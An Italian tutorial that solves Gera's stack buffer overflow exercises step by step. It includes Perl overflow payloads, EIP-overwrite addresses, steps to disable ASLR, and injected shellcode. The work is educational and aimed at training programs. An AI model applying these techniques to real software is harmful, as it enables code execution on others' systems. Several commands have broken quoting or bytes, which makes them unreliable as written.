Riuscire a riconoscere errori di programmazione altrui sembra essere un compito ingrato, ma è proprio grazie a figure come questa che il browser che utilizziamo quotidianamente è sicuro e ci protegge da attacchi provenienti dall’esterno, grazie a chi se ne occupa il sistema operativo su cui scrivo l’articolo è protetto e ci sono solo remote possbilità che venga exploitato.
Avere padronanza di un linguaggio di programmazione e capire dove potrebbero esserci problemi di sicurezza è un requisito essenziale per chi si occupa di sicurezza informatica, oltre che dei programmatori.
In questo articolo andremo ad analizzare alcune delle più semplici tecniche di buffer overflow, scoperte anni fa e non più sfruttabili, in quanto sono state introdotte diverse tecniche di difesa. Il fatto che non siano sfruttabili al giorno d’oggi non deve essere una scusa per non saperle, poiché senza conoscere la basi di questi attacchi sarebbe impossibile trovarne di nuovi.
Gli esercizi introdotti son stati ideati e creati da Gera. Eseguirò gli attacchi su una macchina virtuale a 32 bit, presa da qui, mentre per chi non sapesse di cosa si sta parlando, consiglio di partire dallo scorso articolo sul Buffer Overflow.
Il codice sorgente di questo programmino, già introdotto nell’introduzione al Buffer Overflow, è cosi definito
/* stack1-stdin.c *
* specially crafted to feed your brain by gera */
#include <stdio.h>
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if (cookie == 0x41424344)
printf("you win!\n\n");
}
Nel programma è presente:
Dopo aver accettato input dall’utente, se la variabile cookie sarà uguale ad ACBD (scritto in esadecimale), avremo vinto il gioco.
Per esercizi di questo tipo, il mio consiglio è capire sempre cosa fa il programma e cosa potrebbe fare un eventuale attaccante. Tralasciando le dichiarazioni delle variabili, andiamo a leggere la documentazione di gets, digitando
root@sec1:~/stack# man gets
Chiaramente ci sono più modi per superare questa sfida. Essendo il primo livello, eseguiremo l’attacco più semplice, ossia quello di riempire tutto il buffer con dati casuali ed invadere lo spazio accanto, dove è presente il contenuto dell’intero cookie. Altre soluzioni potrebbero essere:
Compilo con l’opzione_ -fno-stack-protector _per evadere la protezione dello stack e con _-w_ per diminuire gli avvisi di warning
root@sec1:~/stack# gcc -fno-stack-protector -w -o stack1 stack1.c /tmp/ccEdcqZE.o: In function `main': stack1.c:(.text+0x76): warning: the `gets' function is dangerous and should not be used.
Sapendo che dopo il buffer sarà presente cookie, basta stampare 80 caratteri casuali ed aggiungere alla fine il contenuto da inserire in cookie. Stampo la stringa ABCD invertita poichè il mio computer è in little endian.
root@sec1:~/stack# perl -e 'print “A”x80 . 'DCBA” ' > 1
root@sec1:~/stack# ./stack1 < 1
/* stack2-stdin.c *
* specially crafted to feed your brain by gera */
#include <stdio.h>
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if (cookie == 0x01020305)
printf("you win!\n");
}
Molto simile a quello di prima, ma i caratteri da inserire ora non possono essere digitati da tastiera, poichè sono caratteri speciali. In particolare:
Per ovviare a questo problema, basta stampare direttamente in esadecimale
root@sec1:~/stack# perl -e 'print “A” x 80 - “\x05\x03\x02\x01\x00” '
/* stack3-stdin.c *
* specially crafted to feed your brain by gera */
#include <stdio.h>
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if (cookie == 0x01020005)
printf("you win!\n");
}
In questo caso l’esercizio non ha nulla da aggiungere al precedente, per cui procederemo con un altra modalità di risoluzione, ossia quella di sovrascrivere l’indirizzo di EIP in modo che punti direttamente alla stampa di you win, senza fare nessun controllo.
Per prima cosa, avvio l’eseguibile con Objdump in modo da scoprire l’indirizzo della chiamata a printf.
L’indirizzo, nel mio caso, è 80484b8. Avvio ora gdb per scoprire la lunghezza dello stack, cosi posso conoscere quanti caratteri dovrò inserire nel buffer per sovrascrivere il registro target.
N.B. I moderni sistemi operativi hanno una serie di limitazioni proprio per evitare questo tipo di attacco. Ad esempio, con il mio non funzionava e ho dovuto utilizzare una distro meno aggiornata.
Avviato gdb, eseguo un break alla chiamata gets
(gdb) break gets
trovo l’indirizzo di buf e di EIP e faccio la differenza tra i due
Una volta trovata, il passo è semplice. Invece che stampare 80 volte il carattere, ne stampiamo 96, aggiungendo alla fine l’indirizzo della printf trovato prima (in little endian), diventa quindi b4840408.
root@sec1:~/stack# perl -e 'print “A”x96 . “\xb4\x84\x04\x08”' > 3
/* stack4-stdin.c *
* specially crafted to feed your brain by gera */
#include <stdio.h>
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if (cookie == 0x000d0a00)
printf("you win!\n");
}
Il motivo per cui ho voluto introdurre un’altra modalità di risoluzione è perchè in questo esercizio non è possibile inserire un semplice pattern di caratteri.
Il motivo è presto detto: nel cookie deve essere presente un NULL BYTE (00), il quale indica alla gets di terminare la lettura (End Of File), di conseguenza una volta inserito quello non vengono inseriti altri caratteri.
Per risolvere questa sfida, dobbiamo ricorrere allo stesso stratagemma del precedente esercizio, trovare l’indirizzo del registro EIP e inserire lo shellcode.
/* stack5-stdin.c *
* specially crafted to feed your brain by gera */
#include
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if (cookie == 0x000d0a00)
printf("you loose!\n");
}
In ques’ultimo esercizio, se inseriamo la stringa abbiamo perso. Simpaticamente, Gera ci obbliga ad iniettare uno shellcode nel codice in modo da stampare Hai vinto. Quindi dobbiamo simulare una printf da iniettare nel codice, sovrascrivendo l’indirizzo di EIP. Ma andiamo con ordine.
Per prima cosa, dobbiamo simulare una printf in linguaggio assembly in modo da avere linguaggio macchina da iniettare nel registro. Il codice che ho inserito è stato preso da qui ed è:
.section .text
.globl _start
_start:
jmp cali
init:
xorl %eax, %eax
xorl %ebx, %ebx
xorl %edx, %edx
mov $4, %al
mov $1, %bl
popl %ecx
mov $9, %dl
int $0x80
xorl %eax, %eax
incl %eax
xorl %ebx, %ebx
int $0x80
cali:
call init
msg:
.ascii "Hai vinto!"
Una volta creato, bisogna compilarlo e creare l’eseguibile.
root@sec1:~/stack# as -o print.o print.s
root@sec1:~/stack# ld -o print print.o
In questo modo abbiamo ottenuto un eseguibile. Infatti se lo eseguiamo, stamperà la stringa voluta.
Per avere lo shellcode, dobbiamo ora debuggare l’eseguibile con Objdump, e copiare le stringhe esadecimali
root@sec1:~/stack# perl -e 'print "\xeb\x16\x31\xc0\x31\xdb\x31\xd2\xb0\x04\xb3\x01\x59\xb2\x09\xcd\x80\x31\xc0\x40\x31\xc3\xcd\x80\xe8\xe5\xff\xff\xff\x48\x61\x69\x20\x76\x69\x6e\x74\x6f\x21"' >shellcode
Per eseguire questo attacco bisogna disattivare la randomizzazione degli indirizzi, poichè dovremo iniettare un indirizzo specifico. Questo passo è semplice, per vedere se è attivo ( e dovrebbe esserlo)
root@sec1:~/stack# cat /proc/sys/kernel/randomize_va_space
2
Per disattivarlo, bisogna solo modificare il 2 in 0
Come ultimo passaggio, dobbiamo conoscere:
Per avere l’indirizzo del buffer, basta eseguire il programma stack5. Avendo disattivato la randomizzazione, sarà sempre lo stesso
root@sec1:~/stack# ./stack5
buf: bffffcec cookie: bffffd3c
Mentre per aver il numero di caratteri, basterà vedere quanti bytes possiede il nostro shellcode e fare la differenza con la distanza di EIP (la mia era 96)
root@sec1:~/stack# ls -l shellcode
-rw-r--r-- 1 root root 39 Apr 13 12.50 shellcode
Finalmente eseguo l’attacco
Sfida davvero interessante, soprattutto per chi non ha mai eseguito attacchi di Buffer Overflow ed è solamente agli inizi. Nei prossimi articoli continuerò con questi esercizi, passando a quelli più avanzati, sfruttando altre tecniche di attacco. Alcuno approfondimenti che possono consigliare sono il classico Smashing the stack for Fun and Profit di Aleph One e How do I become a Ninja? .